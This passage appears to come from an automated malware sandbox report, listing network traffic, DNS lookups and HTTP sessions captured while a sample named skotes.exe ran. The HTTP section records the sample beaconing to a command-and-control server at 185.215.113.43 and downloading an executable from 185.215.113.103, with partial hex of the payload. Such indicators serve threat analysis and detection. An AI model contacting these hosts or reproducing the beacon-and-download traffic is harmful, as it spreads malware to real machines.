Sep 29, 2024 01:03:14.584467888 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.584503889 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.585068941 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.585618019 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.585695028 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.586062908 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.586306095 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.586313009 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.875593901 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.875972033 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:14.876030922 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.876513004 CEST	49815	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:14.876539946 CEST	443	49815	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:15.105918884 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.106261969 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.112152100 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.112397909 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.112585068 CEST	80	49816	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.112641096 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.115138054 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.440591097 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.455179930 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.456265926 CEST	80	49816	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.456418037 CEST	80	49816	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.456439018 CEST	49813	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:15.463638067 CEST	80	49813	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:15.991235971 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:15.991281033 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:15.991368055 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:15.991691113 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:15.991708994 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.144583941 CEST	80	49816	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:16.144649029 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:16.646465063 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.650728941 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.650748968 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.651190996 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.654711008 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.654786110 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.654918909 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.654918909 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.654953003 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.939558029 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:03:16.939588070 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:03:16.959177971 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.959788084 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:16.959858894 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.960139990 CEST	49817	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:16.960159063 CEST	443	49817	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:17.671525002 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:17.671813965 CEST	49818	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:17.678139925 CEST	80	49816	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:17.678217888 CEST	49816	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:17.678364992 CEST	80	49818	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:17.678585052 CEST	49818	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:17.700813055 CEST	49818	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:17.707279921 CEST	80	49818	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:18.407954931 CEST	80	49818	185.215.113.43	192.168.2.8
Sep 29, 2024 01:03:18.408176899 CEST	49818	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:03:18.515605927 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:18.515649080 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:18.515927076 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:18.516046047 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:18.516055107 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.303873062 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.304616928 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.304644108 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.305061102 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.305859089 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.305933952 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.306170940 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.306236982 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.306246042 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.528975010 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.529122114 CEST	443	49819	142.250.185.174	192.168.2.8
Sep 29, 2024 01:03:19.531903028 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.532080889 CEST	49819	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:03:19.532100916 CEST	443	49819	142.250.185.174	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 01:01:56.033597946 CEST	138	138	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:27.686372995 CEST	58267	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:27.686584949 CEST	62423	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:27.687233925 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:27.693162918 CEST	53	58267	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:27.693886995 CEST	53	62423	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:27.699486971 CEST	53	55465	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:28.167900085 CEST	53	57273	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:28.440041065 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:28.729422092 CEST	60264	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:28.729612112 CEST	62331	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:28.736213923 CEST	53	62331	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:28.736241102 CEST	53	60264	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:29.178771019 CEST	61879	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:29.178942919 CEST	51715	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:29.185456991 CEST	53	61879	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:29.188934088 CEST	53	51715	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:29.205667019 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:29.993359089 CEST	59202	53	192.168.2.8	8.8.8.8
Sep 29, 2024 01:02:29.994666100 CEST	64733	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:30.001194954 CEST	53	64733	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:30.001873016 CEST	53	59202	8.8.8.8	192.168.2.8
Sep 29, 2024 01:02:31.226799965 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:31.637351990 CEST	53286	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:31.637543917 CEST	62832	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:31.643906116 CEST	53	53286	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:31.644007921 CEST	53	62832	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:31.988981962 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:32.754569054 CEST	137	137	192.168.2.8	192.168.2.255
Sep 29, 2024 01:02:34.815572977 CEST	53	58051	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:38.021605968 CEST	53	61695	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:38.803906918 CEST	64849	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:38.804348946 CEST	56276	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:38.809854031 CEST	53	52433	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:38.810429096 CEST	53	64849	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:38.811515093 CEST	53	56276	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:40.992827892 CEST	49353	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:40.992949963 CEST	59829	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:40.999679089 CEST	53	49353	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:41.000077963 CEST	53	59829	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:42.097745895 CEST	60619	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:42.099030972 CEST	56404	53	192.168.2.8	1.1.1.1
Sep 29, 2024 01:02:42.106014013 CEST	53	60619	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:42.107083082 CEST	53	56404	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:45.343578100 CEST	53	59488	1.1.1.1	192.168.2.8
Sep 29, 2024 01:02:52.250020981 CEST	53	54096	1.1.1.1	192.168.2.8
Sep 29, 2024 01:03:11.088018894 CEST	53	60805	1.1.1.1	192.168.2.8
Sep 29, 2024 01:03:27.605804920 CEST	53	49547	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 01:02:27.686372995 CEST	192.168.2.8	1.1.1.1	0x2428	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:27.686584949 CEST	192.168.2.8	1.1.1.1	0xefe6	Standard query (0)	youtube.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:28.729422092 CEST	192.168.2.8	1.1.1.1	0xeae8	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.729612112 CEST	192.168.2.8	1.1.1.1	0x7390	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:29.178771019 CEST	192.168.2.8	1.1.1.1	0x9c55	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:29.178942919 CEST	192.168.2.8	1.1.1.1	0xef6b	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:29.993359089 CEST	192.168.2.8	8.8.8.8	0x58e7	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:29.994666100 CEST	192.168.2.8	1.1.1.1	0x53d0	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:31.637351990 CEST	192.168.2.8	1.1.1.1	0xecc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:31.637543917 CEST	192.168.2.8	1.1.1.1	0x6cc5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:38.803906918 CEST	192.168.2.8	1.1.1.1	0x5702	Standard query (0)	chrome.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:38.804348946 CEST	192.168.2.8	1.1.1.1	0x3223	Standard query (0)	chrome.google.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:40.992827892 CEST	192.168.2.8	1.1.1.1	0xd391	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:40.992949963 CEST	192.168.2.8	1.1.1.1	0xd120	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Sep 29, 2024 01:02:42.097745895 CEST	192.168.2.8	1.1.1.1	0x5aa	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:42.099030972 CEST	192.168.2.8	1.1.1.1	0x29bb	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 01:02:27.693162918 CEST	1.1.1.1	192.168.2.8	0x2428	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:27.693886995 CEST	1.1.1.1	192.168.2.8	0xefe6	No error (0)	youtube.com			65	IN (0x0001)	false
Sep 29, 2024 01:02:28.736213923 CEST	1.1.1.1	192.168.2.8	0x7390	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736213923 CEST	1.1.1.1	192.168.2.8	0x7390	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:28.736241102 CEST	1.1.1.1	192.168.2.8	0xeae8	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:29.185456991 CEST	1.1.1.1	192.168.2.8	0x9c55	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:29.185456991 CEST	1.1.1.1	192.168.2.8	0x9c55	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:29.188934088 CEST	1.1.1.1	192.168.2.8	0xef6b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:30.001194954 CEST	1.1.1.1	192.168.2.8	0x53d0	No error (0)	google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:30.001873016 CEST	8.8.8.8	192.168.2.8	0x58e7	No error (0)	google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:31.643906116 CEST	1.1.1.1	192.168.2.8	0xecc	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:31.644007921 CEST	1.1.1.1	192.168.2.8	0x6cc5	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 01:02:38.810429096 CEST	1.1.1.1	192.168.2.8	0x5702	No error (0)	chrome.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:38.810429096 CEST	1.1.1.1	192.168.2.8	0x5702	No error (0)	www3.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:38.811515093 CEST	1.1.1.1	192.168.2.8	0x3223	No error (0)	chrome.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:40.999679089 CEST	1.1.1.1	192.168.2.8	0xd391	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:40.999679089 CEST	1.1.1.1	192.168.2.8	0xd391	No error (0)	www3.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 29, 2024 01:02:41.000077963 CEST	1.1.1.1	192.168.2.8	0xd120	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 01:02:42.106014013 CEST	1.1.1.1	192.168.2.8	0x5aa	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

youtube.com

www.youtube.com

clients2.googleusercontent.com

chrome.google.com

https:

accounts.youtube.com

play.google.com

www.google.com

185.215.113.43

185.215.113.103

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:05.037415028 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:05.752552986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:07.278503895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:08.016921043 CEST	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 33 0d 0a 20 3c 63 3e 31 30 30 30 30 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 32 36 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 33 32 30 34 32 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 66 66 37 61 37 64 66 33 30 39 39 34 65 30 32 61 65 34 30 62 35 23 31 30 30 30 30 33 33 31 34 32 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 [TRUNCATED] Data Ascii: 1c3 <c>1000023001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000026002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000032042+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8fff7a7df30994e02ae40b5#1000033142+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8fff7a7df30814e02ae40b5#1000035031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8f8e6b1ca72dd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	185.215.113.103	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:08.026673079 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 29, 2024 01:02:08.753854990 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Sep 2024 22:56:39 GMT ETag: "1c2200-62335e26d596b" Accept-Ranges: bytes Content-Length: 1843712 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2f ba f1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 f9 b7 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL/f$i@i@P%d% %(@.rsrc %8@.idata %8@ *%:@spyqlfjcO<@scxfhudmi@.taggant0i"@
Sep 29, 2024 01:02:08.753871918 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 29, 2024 01:02:08.753886938 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 29, 2024 01:02:08.753909111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 29, 2024 01:02:08.753918886 CEST	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 29, 2024 01:02:08.753930092 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
